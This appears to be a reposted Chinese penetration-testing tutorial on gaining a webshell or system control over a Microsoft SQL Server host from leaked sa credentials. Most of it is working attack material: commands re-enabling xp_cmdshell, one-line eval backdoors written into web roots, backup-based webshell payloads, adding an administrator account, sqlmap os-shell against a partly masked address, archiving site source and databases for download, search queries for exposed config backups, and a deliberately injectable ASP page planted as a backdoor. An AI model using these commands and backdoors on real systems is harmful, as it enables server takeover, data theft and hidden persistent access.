在某些情况下,可能网站不存在sql注入,但通过代码泄露以及备份文件泄露以及文件包含等方法获取了数据库服务器的IP地址、数据库用户名及密码,而对外可以访问数据库端口,或者通过代理可以访问端口,也即外网可以访问数据库(方便本地管理数据库),本文主要在这些情况下如何获取webshell或者系统权限进行讨论。
1.1mssql数据获取webshell相关命令
1.数据库恢复xp_cmdshell存储进程
(1)判断xp_cmdshell是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
(2)MSSQL 2000版本
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
(3)MSSQL 2005及以上版本
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
2.手工注入写shell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:wwwcmd.aspx' ;--
3.反弹shell写webshell
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:wwwcmd.aspx '
前提必须知道网站真实路径,可以通过访问网站文件出错来获取。
4.sqltools工具通过账号直接连接
(1)恢复存储过程
(2)通过文件管理查看文件及目录
(3)获取网站的真实路径
(4)写入shell
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:wwwcmd.aspx '
5.知道sa账号和密码,直连后写入webshell或者获取系统权限
sqlmap.py -d mssql://sa:*************@120.**.***.***:1433/master --os-shell
6.执行提权命令
;exec master.dbo.xp_cmdshell ’net user username password /add’;–
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;–
7.日志备份获取webshell
(1)log日志备份获取webshell
';alter database dbname set RECOVERY FULL--
';create table cmd (a image)--
';backup log dbname to disk = 'C:dbbackup' with init--
';insert into cmd (a) values (0x273C25657865637574652072657175657374285E22335E2229253E27)--
';backup log dbname to disk = 'D:wwwroot1.asp'--
';drop table cmd--
dbname应该修改为真实的数据库名称,根据实际路径设置'D:wwwroot
(2)差异备份
';drop table cmd--
';create table cmd (a image)--
';insert into cmd(a) values(0x273C25657865637574652072657175657374285E22335E2229253E27)--
';execute sp_makewebtask @outputfile='D:www1.asp','@query='select a from cmd'--
0x273C25657865637574652072657175657374285E22335E2229253E27是
'<%execute request(^"3^")%>' 的十六进制,可以使用notepad工具进行转换。
8.手工注入获取webshell
(1)注入点判断
' and 1=user;--
(2)创建临时表
';CREATE TABLE tt_tmp (tmp1 varchar(8000));--
(3)查询文件
例如在C盘下搜索NewsList.aspx,可以使用for /r c: %i in (Newslist*.aspx) do @echo %i或者for /r c: %i in (Newslist.aspx*) do @echo %i
';insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c: %i in (Newslist*.aspx) do @echo %i ';--
(4)查看文件名称并获取真实的路径
' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a
'and 1=(select top 1 tmp1 from tt_tmp where tmp1 not in ('c:inetpubwwwrootmanagenewsNewsList.aspx '))and 'a'='a
(5)文件写入测试
';exec master..xp_cmdshell 'echo test >d:\WWW\2333.txt';--
(6)写入shell
';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:\WWW\233.aspx' ;--
1.2mssql数据获取webshell思路和方法
在实际渗透过程中要根据实际情况进行选择,所有的结果就是获取数据库所在服务器的系统权限或者webshell权限。
1.通过sql查询分离器及SQL数据库客户端进行连接获取webshell及系统权限
(1)连接成功测试
知道IP地址、sa及密码,可以通过sql查询分离器和SQL数据库客户端进行连接,成功连接后可以对数据库进行访问。对服务器上安装了SQL Server数据库,则可以通过其客户端进行连接,否则可以通过sql查询分离器进行连接,如图1所示。
图1使用sql查询分析器进行数据库连接
(2)恢复xp_cmdshell存储过程
在sql查询分析器中执行命令:EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;如图2所示。
图2恢复xp_cmdshell存储过程
(3)执行命令
遍历C盘目录:exec master.dbo.xp_cmdshell 'dir c:';执行后,如图3所示,xp_cmdshell是最常用的命令,还有一些其它相关命令:
遍历C盘目录: exec master.dbo.xp_dirtree 'c:';
获得当前所有驱动器:exec master.dbo.xp_availablemedia;
获得子目录列表:exec master.dbo.xp_subdirs 'c:';
获得所有子目录的目录树结构:exec master.dbo.xp_dirtree 'c:';
查看文件的内容:exec master.dbo.xp_cmdshell 'type c:webweb.config';
图3执行命令
(4)找到网站目录,通过执行命令查看网页相对应的名字和类型,获取网站的真实路径。
(5)压缩源代码及数据库
rar a -ep -p123 d:1.rar d:wwwroot //压缩网站下所有数据,密码为123
rar a -ep -p123 d:eto.rar d:databaseeto.bak //压缩数据库,密码为123
move d:eto.rar d:wwwrooteto.rar //将eto.rar移动到wwwroot目录下
http://www.somesite.com/eto.rar //通过浏览器在本地下载eto.rar
(6)写入一句话后门
通过查询分析器执行以下命令,在d:www目录下写入1.aspx文件
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > d:\WWW\1.aspx' ;
(7)通过webshell进行提权
2.sqltools工具进行文件查看及获取webshell
sqltools工具实现原理跟通过查询分析器来获取webshell类似,只不过它通过图形界面来实现了。
(1)恢复存储过程
(2)执行命令或者查看磁盘文件目录及内容
(3)后续步骤跟前面的类似,就不赘述了。
3. 使用sqlmap直连mssql获取webshell或者权限
通过sqlmap来获取webshell要求数据库权限是sa,其它权限基本无法获取。
(1)连接测试
sqlmap.py -d mssql://sa:password@ip:1433/master
(2)获取os shell
sqlmap.py -d mssql://sa:password@ip:1433/master --os-shell
(3)在shell下执行命令
4.查看CMS相关数据库,通过登录cms来获取webshell
(1)通过查询分析器、SQLtools、sqlmap等来获取cms对应数据库
(2)查看并获取后台管理员表数据
(3)如果是加密数据,则进行解密。
(4)寻找cms后台地址
(5)登录cms后台
(6)寻找上传位置,尝试获取webshell
(7)也可以通过log、差异备份等方法备份来获取webshell
1.3SQLmap直连数据获取webshell
1.直连数据测试
sqlmap.py -d mssql://sa:*************@120.**.***.***:1433/master
2.获取os-shell
sqlmap.py -d mssql://sa:*************@120.**.***.***:1433/master --os-shell
执行成功后,如图4所示,会提示获取命令行标准输出,输入Y即可查看命令结果,在本例中获取的当前用户权限为system权限,及最高管理员权限。
do you want to retrieve the command standard output? [Y/n/a]
图4获取os-shell及当前权限
3.如果未获取系统权限
(1)查看磁盘文件
dir c:
(2)获取网站所在目录为c:wwwphproot,写入一句话到该目录下:
echo ^<?php @eval($_POST['c']);?^>^ >c:wwwphproot1.php
(3)查看写入文件内容
type c:wwwphproot1.php,如图5所示,确认一句话shell正确。
图5写入一句话后门
(4)获取webshell
如图6所示,通过中国菜刀一句话后门管理工具进行webshell管理及连接。
图6获取webshell
4.执行其它命令
(1)获取当前数据库
sqlmap.py -d mssql://sa:*************@120.**.***.***:1433/master --dbs
(2)其它相关命令
还可以执行sqlmap中的其它命令,例如列举数据表等,前面的章节已经介绍过,这里就不再赘述。
1.4利用漏洞搜索引擎搜索目标
1.搜索网站备份文件
(1). fofa.so搜索web.config.bak
https://fofa.so/result?q=web.config.bak&qbase64=d2ViLmNvbmZpZy5iYWs%3D
(2)可以利用shodan搜索web.config.bak
https://www.shodan.io/search?query=web.config.bak
2.搜索其他关键字
www.rar
wwwroot.rar
wwwroot.zip
www.zip
1.5构造sql注入后门
1. 构造sql注入后门前提条件
通过前面的方法或者其它方法获取了网站的webshell,可以通过webshell在网站创建文件。
2.asp+iis+mssql站点构造sql注入后门
(1)不使用数据库连接文件
新建asp文件,其内容如下:
<%
strSQLServerName = "000.000.000.000" '服务器名称或地址
strSQLDBUserName = "sqlname" '数据库帐号
strSQLDBPassword = "sqlpass" '数据库密码
strSQLDBName = "sqldataname" '数据库名称
Set conn = Server.CreateObject("ADODB.Connection")
strCon = "Provider=SQLOLEDB.1;Persist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & ";Password=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
conn.open strCon
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from admin where id=" & id
rs.open strSQL,conn,1,3
rs.close
%>
其中需要修改的内容为:查询语句select * from admin where id=" & id中的表跟id值要对应。
(2)使用系统自带的连接文件
<!--#include file="conn.asp"-->
<%
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from admin where id=" & id
rs.open strSQL,conn,1,3
rs.close
%>
(3)也可以将(2)中代码直接插入到正常的文件代码中,但插入后需要进行测试,不会引起页面错误或者异常现象。
原文始发于微信公众号(小兵搞安全):使用sqlmap直连mssql获取webshell或者权限
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论